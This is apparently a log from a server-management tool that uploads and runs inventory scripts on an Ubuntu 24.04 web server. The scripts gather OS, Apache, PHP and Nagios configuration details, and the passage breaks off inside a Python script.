MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-30 16:47:49: Establishing a connection
2026-03-30 16:48:23: Establishing a connection
2026-03-30 16:48:23: Performing Server Status
2026-03-30 16:48:23: 

PUT: /tmp/pkp462331

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-03-30 16:48:24: 

chmod 755 /tmp/pkp462331; /tmp/pkp462331; rm /tmp/pkp462331

2026-03-30 16:48:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
aries

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-106-generic



2026-03-30 16:48:24: 

PUT: /tmp/pkp663013

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-03-30 16:48:24: 

chmod 755 /tmp/pkp663013; /tmp/pkp663013; rm /tmp/pkp663013

2026-03-30 16:48:24: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 446159
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      446159  0.0  0.9 261228 39512 ?        Ss   Mar24   1:09 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 cgi_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-03-30 16:48:24: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'aries',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'cgi_module',
      18 => 'deflate_module',
      19 => 'dir_module',
      20 => 'env_module',
      21 => 'filter_module',
      22 => 'headers_module',
      23 => 'mime_module',
      24 => 'mpm_prefork_module',
      25 => 'negotiation_module',
      26 => 'php_module',
      27 => 'proxy_module',
      28 => 'proxy_fcgi_module',
      29 => 'proxy_wstunnel_module',
      30 => 'reqtimeout_module',
      31 => 'rewrite_module',
      32 => 'setenvif_module',
      33 => 'socache_shmcb_module',
      34 => 'ssl_module',
      35 => 'status_module',
    ),
  ),
)


2026-03-30 16:48:24: 

PUT: /tmp/pkp904020

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-03-30 16:48:24: 

chmod 755 /tmp/pkp904020; /tmp/pkp904020; rm /tmp/pkp904020

2026-03-30 16:48:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-03-30 16:48:24: 

PUT: /tmp/pkp495600

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-03-30 16:48:24: 

chmod 755 /tmp/pkp495600; /tmp/pkp495600; rm /tmp/pkp495600

2026-03-30 16:48:25: 


[php8.1]
php=/usr/bin/php8.1
fpm=/etc/php/8.1/fpm/pool.d
version=8.1.34
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.30
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.18




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-03-30 16:48:25: 

PUT: /tmp/pkp253153

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-03-30 16:48:25: 

chmod 755 /tmp/pkp253153; /tmp/pkp253153; rm /tmp/pkp253153

2026-03-30 16:48:25: 
2026-03-30 16:48:25: 

PUT: /tmp/pkp791241

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
